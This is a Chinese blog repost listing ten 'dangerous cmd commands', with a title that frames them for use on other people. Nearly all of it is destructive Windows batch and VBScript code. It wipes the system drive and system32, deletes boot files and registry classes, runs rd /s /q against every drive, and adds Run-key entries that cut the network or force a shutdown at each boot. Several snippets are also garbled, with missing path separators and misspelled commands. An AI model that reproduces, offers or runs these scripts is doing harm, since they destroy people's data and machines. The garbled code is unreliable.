十大危险cmd指令!(谨慎对他人使用!!!)

编程入门 行业动态 更新时间:2024-10-25 18:26:25

<a href=https://www.elefans.com/category/jswz/34/1767760.html style=十大危险cmd指令!(谨慎对他人使用!!!)"/>

十大危险cmd指令!(谨慎对他人使用!!!)

文章目录

  • 前言


前言

今天给大家带来一些好玩的小命令,请不要随意使用,不负责。QvQ!

1.死亡蓝屏

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

2.更改文件后缀名

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
BEN *.BAT *.TXT

3.删除系统重要文件

del c:\WINDOWS\system32\*.*/q

4.使pc永久崩溃

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

5.删除全部注册表

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

6.永远禁用网络!

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c"windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun/v
windowsapi/t reg_sz/d c:windowswimn32.bat/f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun/v
controlexit/t reg_sz/d c:windowswimn32.bat/f
pause

7.永远的《回车》

set wshshell =wscript.createobject<"wscript.shell">
do
wscript.sleep 100
wshshell.sendkeys"~<enter>"
loop

8.开机就关机

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11-f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun
/v startapi /t reg_sz/d c:windowshartlell.bat /f
reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun
/v/t reg_sz/d c:windowshartlell.bat /f
PAUSE

9.格式化硬盘

rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
rd/s/q F:\
rd/s/q g:\

10.开启CD蜂鸣器 不停地响

Set oWMP=CreateObject("WMPIayer.0CX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.Count>=1 then
For i=0 to colCDROMs.Count -1
colCDROMs.ltem<i>.Eject
Next
For =0 to colCDROMs.Count -1
colCDROMs.ltem<i>.Eject
Next
End lf
wscript.sleep 100
Loop

更多推荐

十大危险cmd指令!(谨慎对他人使用!!!)

本文发布于:2024-03-08 18:31:29,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1721827.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:十大   指令   谨慎   危险   cmd

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!